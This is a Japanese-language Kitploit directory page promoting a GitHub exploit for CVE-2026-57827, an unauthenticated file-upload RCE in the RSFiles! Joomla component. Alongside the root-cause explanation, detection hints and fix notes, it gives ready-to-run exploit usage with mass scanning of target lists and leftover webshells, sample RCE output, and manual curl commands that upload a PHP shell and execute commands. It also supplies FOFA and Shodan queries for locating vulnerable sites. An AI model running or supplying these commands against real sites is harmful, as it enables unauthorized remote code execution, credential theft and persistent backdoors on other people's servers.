Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-57827 — CVE-2026-57827 — RSFiles! Joomla Component Unauthenticated File Upload RCE. Split-controller upload bypass. CVSS 9.8 | CWE-434 | com_rsfiles < 1.17.12 | Kitploit
ツール/GitHubGitHub/shinthink/cve-2026-57827
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringWeb SecurityPenetration TestingRed TeamingRemote Access ToolPayload Development
GitHubshinthink/cve-2026-57827

CVE-2026-57827

CVE-2026-57827 — RSFiles! Joomla Component Unauthenticated File Upload RCE. Split-controller upload bypass. CVSS 9.8 | CWE-434 | com_rsfiles < 1.17.12

15222日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る

CVE-2026-57827 — RSFiles! Joomlaコンポーネント 認証なしファイルアップロードRCE

分割コントローラのアップロードバイパス → 直接書き込みタスク → /downloads/shell.php → RCE


概要

CVE-2026-57827 は、Joomla 向けのファイル管理・ダウンロードコンポーネントとして広く利用されている RSFiles! (com_rsfiles) のバージョン < 1.17.12 における、重大度クリティカル(CVSS 9.8)の認証なし任意ファイルアップロード脆弱性です。

この脆弱性は分割コントローラの設計上の欠陥を悪用します。RSFiles! はアップロード処理を2つのフロントエンドタスクに分離しています。1つは事前チェック(権限ゲート+拡張子許可リスト)、もう1つは書き込みメソッド(ファイルをディスクに保存)です。書き込みメソッドは直接呼び出すことができ、事前チェックを完全にバイパスできます。認証もCSRFトークンも不要です。

影響を受けるバージョン

バージョン状態
< 1.17.12脆弱
1.17.12+修正済み

発見者: Phil Taylor, mySites.guru(2026年7月10日) ベンダー: RSJoomla(rsjoomla.com) コンポーネント: com_rsfiles


脆弱性のメカニズム

根本原因

RSFiles! はアップロード処理を /components/com_rsfiles/controllers/rsfiles.php 内の2つの別々のフロントエンドタスクに分割しています。

root@kitploit:~
// Task 1 — Pre-flight check (task=rsfiles.checkupload) — GUARDED
// Holds the permission gate (can this user upload?) and the extension
// allow-list (images, text, PDFs by default). This method decides yes
// or no. It writes nothing.
function checkupload() {
    if (!$user->authorise('rsfiles.upload')) return false;
    $allowed = ['jpg','png','gif','txt','pdf'];
    if (!in_array($ext, $allowed)) return false;
    return true;
}

// Task 2 — Write method (task=rsfiles.upload) — UNGUARDED (the vulnerability)
// Receives the file and saves to disk. NO permission check.
// NO file-type check. Reads filename straight from the request
// and hands the upload to Joomla's JFile::upload(), which
// accepts any file type unless told otherwise.
function upload() {
    $file = $input->files->get('file');
    // No permission check
    // No extension check
    // JFile::upload() accepts anything by default
    JFile::upload($file['tmp_name'], $dest . $file['name']);
    // File saved to /downloads/ (web root, .htaccess OFF by default)
}

なぜ攻撃が成立するのか

  1. 分割コントローラ — セキュリティチェックとファイル書き込みが別々のメソッドに分かれています。事前チェックのみがガードされています。
  2. タスクへの直接アクセス — Joomla のフロントエンドコントローラは &task=rsfiles.upload を介して任意のタスクを直接呼び出すことを許可しており、事前チェックを完全にスキップできます。
  3. 認証なし — フロントエンドコントローラにはアクセスチェックがありません。匿名の訪問者が書き込みタスクを呼び出せます。
  4. CSRFトークンなし — フロントエンドのアップロードフォームにはサイト全体のCSRFトークンがありません。
  5. ファイルタイプの検証なし — 書き込みメソッドはリクエストからファイル名を読み取り、Joomla に同梱されているアップロードハンドラ(JFile::upload())に渡します。このハンドラはデフォルトで任意のファイルタイプを受け入れます。
  6. ウェブルート内のダウンロードフォルダ — RSFiles! のデフォルトのダウンロードフォルダはウェブルート内にあります。そこで PHP の実行を防ぐ保護用 .htaccess はオプトインの管理者設定であり、デフォルトではOFFです。

攻撃の流れ

root@kitploit:~
1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
   file=<shell.php> (multipart, PHP payload)
   folder=&overwrite=1
3. Joomla frontend controller dispatches to rsfiles.upload()
   → Skips rsfiles.checkupload (pre-flight) entirely
   → No permission check → No CSRF token check → No file-type check
   → JFile::upload() accepts any file type
4. File saved to /downloads/{shell_name}.php (web root)
   .htaccess protection is opt-in, OFF by default
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data

検証済みソースコード参照

サーバーログによる検出(RSJoomlaアドバイザリより)

root@kitploit:~
Look for POST requests to:
  index.php?option=com_rsfiles&task=rsfiles.upload
that are NOT preceded by requests to:
  index.php?option=com_rsfiles&task=rsfiles.checkupload

主要な設計上の欠陥

セキュリティチェック(権限ゲート+拡張子許可リスト)は、実際にファイルを書き込むメソッドとは別の事前ステップです。チェックを持つのは最初のものだけです。2番目のもの、つまりディスクへの書き込みを行うものは、URL内の task パラメータを適切に細工することで直接呼び出すことができ、すべてのセキュリティ制御をバイパスできます。

これは「チェックとアクションが別の場所にある」アンチパターンの典型例です。ガードと、ガードが保護するはずの操作が分離されており、攻撃者はガードを通過せずに操作に到達できます。


インストール

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-57827.git
cd CVE-2026-57827
pip install requests

使用方法

root@kitploit:~
# Single target
python cve_2026_57827.py -t target.com

# Mass scan
python cve_2026_57827.py -f targets.txt -o shells.txt

# Debug mode, leave shells on target
python cve_2026_57827.py -t target.com --debug --no-cleanup

引数

root@kitploit:~
  -t, --target       Single target (domain or IP)
  -f, --file         Target list, one per line
  -o, --output       Save RCE URLs to file
  --threads          Concurrent workers (default: 30)
  --no-cleanup       Leave shells on target
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

概念実証(PoC)

単一ターゲット

root@kitploit:~
$ python cve_2026_57827.py -t joomla-site.com
root@kitploit:~
  RSFiles! Joomla Component | CVE-2026-57827 | CVSS 9.8

  Host       : joomla-site.com
  RSFiles!   : YES v1.17.11
  Upload     : YES
  RCE        : YES
  Shell      : https://joomla-site.com/components/com_rsfiles/downloads/.a1b2c3.php?t=token
  Output     : uid=33(www-data) gid=33(www-data) groups=33(www-data)
  Time       : 3.8s

手動での悪用

ステップ1 — シェルをアップロード

root@kitploit:~
curl -X POST 'https://target.com/index.php?option=com_rsfiles&task=rsfiles.upload' \
  -F '[email protected]' \
  -F 'folder=' \
  -F 'overwrite=1'

ステップ2 — シェルにアクセス

root@kitploit:~
curl 'https://target.com/downloads/shell.php?c=id'

ステップ3 — コマンドを実行

root@kitploit:~
curl 'https://target.com/downloads/shell.php?c=id;hostname;uname -a'

緩和策(アップデートが不可能な場合)

root@kitploit:~
# Delete the vulnerable controller file (renders RSFiles! unusable but secure)
rm /path/to/joomla/components/com_rsfiles/controllers/rsfiles.php

# Or enable .htaccess protection:
# RSFiles admin → Settings → Files → tick "Secure download folder" + "Secure briefcase folder"

FOFA / Shodan

root@kitploit:~
FOFA:   body="com_rsfiles" || body="RSFiles"
Shodan: http.html:"com_rsfiles"

影響

悪用に成功すると、ウェブサーバーユーザーとしてのリモートコード実行が可能になります:

  • configuration.php を取得 → データベース認証情報、SMTPシークレット
  • Joomla のすべてのコンテンツ、ユーザー、拡張機能データにアクセス
  • 永続的なバックドアを展開
  • 内部ネットワークへのピボット
  • Webサイトの改ざんまたはマルウェアの注入

どの段階でもサイト上のアカウントは不要です。匿名・認証なし・リモートです。


修正内容 (1.17.12)

RSJoomla はバージョン 1.17.12 でこの脆弱性を以下のように修正しました:

  • 書き込みメソッド自体に権限チェックを追加(事前チェックだけでなく)
  • 書き込みメソッドにファイルタイプ検証を追加
  • フロントエンドのアップロードエンドポイントでCSRFトークンを強制
  • ダウンロードフォルダの .htaccess 保護をデフォルトで有効化

免責事項

教育および許可を得たテスト目的専用です。

所有者から明示的な許可を得ずにシステムに対して使用しないでください。著者は誤用に対する責任を負いません。


参照


RSJoomla または mySites.guru とは提携関係にありません。

ツールをダウンロード
ファイル目的
/components/com_rsfiles/controllers/rsfiles.php脆弱な upload() および checkupload() タスクを含むコントローラ
/components/com_rsfiles/views/upload/tmpl/upload.phpフロントエンドのアップロードフォームテンプレート(確認済み: name="file"、task=rsfiles.upload)
/downloads/ウェブルート内のデフォルトのダウンロードフォルダ(.htaccess による保護はデフォルトでOFF)
/briefcase/ブリーフケースフォルダ(書き込みも可能)
リソースリンク
NVDエントリCVE-2026-57827
mySites.guru アドバイザリmysites.guru/blog/rsfiles-unauthenticated-file-upload-rce
RSJoomla アドバイザリrsjoomla.com
CWE-434危険なタイプのファイルの無制限アップロード
報告者Phil Taylor, mySites.guru